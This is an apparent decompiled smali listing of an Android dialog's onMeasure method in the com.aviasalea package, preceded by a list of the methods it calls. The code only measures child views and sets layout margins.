                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$200
                                      • android.widget.TextView.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$300
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$300
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • android.widget.ImageView.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$300
                                      • android.widget.ImageView.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$400
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • android.widget.ScrollView.getLayoutParams
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$600
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$100
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$700
                                      • android.widget.TextView.getVisibility
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$800
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$000
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • android.widget.ScrollView.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • android.widget.ScrollView.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.getPaddingTop
                                      • com.aviasalea.base.dialog.AlertDialog$1.getPaddingBottom
                                      • com.aviasalea.base.dialog.AlertDialog$1.setMeasuredDimension
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1200
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$800
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$100
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$700
                                      • android.widget.TextView.getVisibility
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$700
                                      • android.widget.TextView.getVisibility
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$100
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$900
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$900
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • android.widget.FrameLayout.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$900
                                      • android.widget.FrameLayout.getLayoutParams
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$900
                                      • android.widget.FrameLayout.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1000
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1000
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • com.aviasalea.base.dialog.LineProgressView.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1000
                                      • com.aviasalea.base.dialog.LineProgressView.getLayoutParams
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1000
                                      • com.aviasalea.base.dialog.LineProgressView.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1100
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • android.widget.TextView.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1100
                                      • android.widget.TextView.getLayoutParams
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1100
                                      • android.widget.TextView.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$700
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$700
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • android.widget.TextView.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$700
                                      • android.widget.TextView.getVisibility
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$700
                                      • android.widget.TextView.getLayoutParams
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$700
                                      • android.widget.TextView.getMeasuredHeight
                                      Position Instruction Meta Information
                                      0.param p1, "widthMeasureSpec" # I
                                      1.param p2, "heightMeasureSpec" # I
                                      2.prologue
                                      3const/4 v12, 0x1
                                      4move-object/from16 v0, p0
                                      5iput-boolean v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->inLayout:Z
                                      7invoke-static/range {p1 .. p1}, Landroid/view/View$MeasureSpec;->getSize(I)I
                                      8move-result v11
                                      10invoke-static/range {p2 .. p2}, Landroid/view/View$MeasureSpec;->getSize(I)I
                                      11move-result v8
                                      13invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog$1;->getPaddingTop()I
                                      14move-result v12
                                      15sub-int v12, v8, v12
                                      17invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog$1;->getPaddingBottom()I
                                      18move-result v13
                                      19sub-int v10, v12, v13
                                      20move v2, v10
                                      22invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog$1;->getPaddingLeft()I
                                      23move-result v12
                                      24sub-int v12, v11, v12
                                      26invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog$1;->getPaddingRight()I
                                      27move-result v13
                                      28sub-int v3, v12, v13
                                      29const/high16 v12, 0x42400000 # 48.0f
                                      31invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      32move-result v12
                                      33sub-int v12, v3, v12
                                      34const/high16 v13, 0x40000000 # 2.0f
                                      36invoke-static {v12, v13}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      37move-result v6
                                      38const/high16 v12, 0x40000000 # 2.0f
                                      40invoke-static {v3, v12}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      41move-result v5
                                      42move-object/from16 v0, p0
                                      44iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      46invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      47move-result-object v12
                                      48if-eqz v12, :cond_a4
                                      49move-object/from16 v0, p0
                                      51iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      53invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      54move-result-object v12
                                      56invoke-virtual {v12}, Landroid/widget/FrameLayout;->getChildCount()I
                                      57move-result v7
                                      58const/4 v1, 0x0
                                      59goto_51: if-ge v1, v7, :cond_76
                                      60move-object/from16 v0, p0
                                      62iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      64invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      65move-result-object v12
                                      67invoke-virtual {v12, v1}, Landroid/widget/FrameLayout;->getChildAt(I)Landroid/view/View;
                                      68move-result-object v4
                                      69check-cast v4, Landroid/widget/TextView;
                                      70const/high16 v12, 0x41c00000 # 24.0f
                                      72invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      73move-result v12
                                      74sub-int v12, v3, v12
                                      75div-int/lit8 v12, v12, 0x2
                                      76int-to-float v12, v12
                                      78invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      79move-result v12
                                      81invoke-virtual {v4, v12}, Landroid/widget/TextView;->setMaxWidth(I)V
                                      82add-int/lit8 v1, v1, 0x1
                                      83goto/16 :goto_51
                                      84cond_76: move-object/from16 v0, p0
                                      86iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      88invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      89move-result-object v12
                                      90move/from16 v0, p2
                                      92invoke-virtual {v12, v5, v0}, Landroid/widget/FrameLayout;->measure(II)V
                                      93move-object/from16 v0, p0
                                      95iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      97invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      98move-result-object v12
                                      100invoke-virtual {v12}, Landroid/widget/FrameLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
                                      101move-result-object v9
                                      102check-cast v9, Landroid/widget/LinearLayout$LayoutParams;
                                      103move-object/from16 v0, p0
                                      105iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      107invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      108move-result-object v12
                                      110invoke-virtual {v12}, Landroid/widget/FrameLayout;->getMeasuredHeight()I
                                      111move-result v12
                                      112iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      113add-int/2addr v12, v13
                                      114iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      115add-int/2addr v12, v13
                                      116sub-int/2addr v2, v12
                                      117cond_a4: move-object/from16 v0, p0
                                      119iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      121invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      122move-result-object v12
                                      123if-eqz v12, :cond_dc
                                      124move-object/from16 v0, p0
                                      126iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      128invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      129move-result-object v12
                                      130move/from16 v0, p2
                                      132invoke-virtual {v12, v6, v0}, Landroid/widget/TextView;->measure(II)V
                                      133move-object/from16 v0, p0
                                      135iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      137invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      138move-result-object v12
                                      140invoke-virtual {v12}, Landroid/widget/TextView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
                                      141move-result-object v9
                                      142check-cast v9, Landroid/widget/LinearLayout$LayoutParams;
                                      143move-object/from16 v0, p0
                                      145iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      147invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      148move-result-object v12
                                      150invoke-virtual {v12}, Landroid/widget/TextView;->getMeasuredHeight()I
                                      151move-result v12
                                      152iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      153add-int/2addr v12, v13
                                      154iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      155add-int/2addr v12, v13
                                      156sub-int/2addr v2, v12
                                      157cond_dc: move-object/from16 v0, p0
                                      159iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      161invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$200(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      162move-result-object v12
                                      163if-eqz v12, :cond_114
                                      164move-object/from16 v0, p0
                                      166iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      168invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$200(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      169move-result-object v12
                                      170move/from16 v0, p2
                                      172invoke-virtual {v12, v6, v0}, Landroid/widget/TextView;->measure(II)V
                                      173move-object/from16 v0, p0
                                      175iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      177invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$200(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      178move-result-object v12
                                      180invoke-virtual {v12}, Landroid/widget/TextView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
                                      181move-result-object v9
                                      182check-cast v9, Landroid/widget/LinearLayout$LayoutParams;
                                      183move-object/from16 v0, p0
                                      185iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      187invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$200(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      188move-result-object v12
                                      190invoke-virtual {v12}, Landroid/widget/TextView;->getMeasuredHeight()I
                                      191move-result v12
                                      192iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      193add-int/2addr v12, v13
                                      194iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      195add-int/2addr v12, v13
                                      196sub-int/2addr v2, v12
                                      197cond_114: move-object/from16 v0, p0
                                      199iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      201invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$300(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ImageView;
                                      202move-result-object v12
                                      203if-eqz v12, :cond_14f
                                      204move-object/from16 v0, p0
                                      206iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      208invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$300(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ImageView;
                                      209move-result-object v12
                                      210const/high16 v13, 0x40000000 # 2.0f
                                      212invoke-static {v11, v13}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      213move-result v13
                                      214const/high16 v14, 0x43040000 # 132.0f
                                      216invoke-static {v14}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      217move-result v14
                                      218const/high16 v15, 0x40000000 # 2.0f
                                      220invoke-static {v14, v15}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      221move-result v14
                                      223invoke-virtual {v12, v13, v14}, Landroid/widget/ImageView;->measure(II)V
                                      224move-object/from16 v0, p0
                                      226iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      228invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$300(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ImageView;
                                      229move-result-object v12
                                      231invoke-virtual {v12}, Landroid/widget/ImageView;->getMeasuredHeight()I
                                      232move-result v12
                                      233const/high16 v13, 0x41000000 # 8.0f
                                      235invoke-static {v13}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      236move-result v13
                                      237sub-int/2addr v12, v13
                                      238sub-int/2addr v2, v12
                                      239cond_14f: move-object/from16 v0, p0
                                      241iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      243invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$400(Lcom/aviasalea/base/dialog/AlertDialog;)I
                                      244move-result v12
                                      245if-nez v12, :cond_26a
                                      246move-object/from16 v0, p0
                                      248iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      250invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      251move-result-object v12
                                      253invoke-virtual {v12}, Landroid/widget/ScrollView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
                                      254move-result-object v9
                                      255check-cast v9, Landroid/widget/LinearLayout$LayoutParams;
                                      256move-object/from16 v0, p0
                                      258iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      260invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$600(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/view/View;
                                      261move-result-object v12
                                      262if-eqz v12, :cond_206
                                      263move-object/from16 v0, p0
                                      265iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      267invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      268move-result-object v12
                                      269if-nez v12, :cond_202
                                      270move-object/from16 v0, p0
                                      272iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      274invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$700(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      275move-result-object v12
                                      277invoke-virtual {v12}, Landroid/widget/TextView;->getVisibility()I
                                      278move-result v12
                                      279const/16 v13, 0x8
                                      280if-ne v12, v13, :cond_202
                                      281move-object/from16 v0, p0
                                      283iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      285invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$800(Lcom/aviasalea/base/dialog/AlertDialog;)[Ljava/lang/CharSequence;
                                      286move-result-object v12
                                      287if-nez v12, :cond_202
                                      288const/high16 v12, 0x41800000 # 16.0f
                                      290invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      291move-result v12
                                      292goto_19b: iput v12, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      293move-object/from16 v0, p0
                                      295iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      297invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      298move-result-object v12
                                      299if-nez v12, :cond_204
                                      300const/high16 v12, 0x41000000 # 8.0f
                                      302invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      303move-result v12
                                      304goto_1ad: iput v12, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      305cond_1af: iget v12, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      306iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      307add-int/2addr v12, v13
                                      308sub-int/2addr v2, v12
                                      309move-object/from16 v0, p0
                                      311iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      313invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      314move-result-object v12
                                      315const/high16 v13, -0x80000000
                                      317invoke-static {v2, v13}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      318move-result v13
                                      320invoke-virtual {v12, v5, v13}, Landroid/widget/ScrollView;->measure(II)V
                                      321move-object/from16 v0, p0
                                      323iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      325invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      326move-result-object v12
                                      328invoke-virtual {v12}, Landroid/widget/ScrollView;->getMeasuredHeight()I
                                      329move-result v12
                                      330sub-int/2addr v2, v12
                                      331cond_1d3: sub-int v12, v10, v2
                                      333invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog$1;->getPaddingTop()I
                                      334move-result v13
                                      335add-int/2addr v12, v13
                                      337invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog$1;->getPaddingBottom()I
                                      338move-result v13
                                      339add-int/2addr v12, v13
                                      340move-object/from16 v0, p0
                                      342invoke-virtual {v0, v11, v12}, Lcom/aviasalea/base/dialog/AlertDialog$1;->setMeasuredDimension(II)V
                                      343const/4 v12, 0x0
                                      344move-object/from16 v0, p0
                                      345iput-boolean v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->inLayout:Z
                                      346move-object/from16 v0, p0
                                      348iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      350invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1200(Lcom/aviasalea/base/dialog/AlertDialog;)I
                                      351move-result v12
                                      353sget-object v13, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      354iget v13, v13, Landroid/graphics/Point;->x:I
                                      355if-eq v12, v13, :cond_201
                                      356new-instance v12, Lcom/aviasalea/base/dialog/AlertDialog$1$1;
                                      357move-object/from16 v0, p0
                                      359invoke-direct {v12, v0}, Lcom/aviasalea/base/dialog/AlertDialog$1$1;-><init>(Lcom/aviasalea/base/dialog/AlertDialog$1;)V
                                      361invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->runOnUIThread(Ljava/lang/Runnable;)V
                                      362cond_201: return-void
                                      363cond_202: const/4 v12, 0x0
                                      364goto/16 :goto_19b
                                      365cond_204: const/4 v12, 0x0
                                      366goto/16 :goto_1ad
                                      367cond_206: move-object/from16 v0, p0
                                      369iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      371invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$800(Lcom/aviasalea/base/dialog/AlertDialog;)[Ljava/lang/CharSequence;
                                      372move-result-object v12
                                      373if-eqz v12, :cond_23e
                                      374move-object/from16 v0, p0
                                      376iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      378invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      379move-result-object v12
                                      380if-nez v12, :cond_23c
                                      381move-object/from16 v0, p0
                                      383iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      385invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$700(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      386move-result-object v12
                                      388invoke-virtual {v12}, Landroid/widget/TextView;->getVisibility()I
                                      389move-result v12
                                      390const/16 v13, 0x8
                                      391if-ne v12, v13, :cond_23c
                                      392const/high16 v12, 0x41000000 # 8.0f
                                      394invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      395move-result v12
                                      396goto_230: iput v12, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      397const/high16 v12, 0x41000000 # 8.0f
                                      399invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      400move-result v12
                                      401iput v12, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      402goto/16 :goto_1af
                                      403cond_23c: const/4 v12, 0x0
                                      404goto/16 :goto_230
                                      405cond_23e: move-object/from16 v0, p0
                                      407iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      409invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$700(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      410move-result-object v12
                                      412invoke-virtual {v12}, Landroid/widget/TextView;->getVisibility()I
                                      413move-result v12
                                      414if-nez v12, :cond_1af
                                      415move-object/from16 v0, p0
                                      417iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      419invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      420move-result-object v12
                                      421if-nez v12, :cond_268
                                      422const/high16 v12, 0x41980000 # 19.0f
                                      424invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      425move-result v12
                                      426goto_25c: iput v12, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      427const/high16 v12, 0x41a00000 # 20.0f
                                      429invoke-static {v12}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      430move-result v12
                                      431iput v12, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      432goto/16 :goto_1af
                                      433cond_268: const/4 v12, 0x0
                                      434goto/16 :goto_25c
                                      435cond_26a: move-object/from16 v0, p0
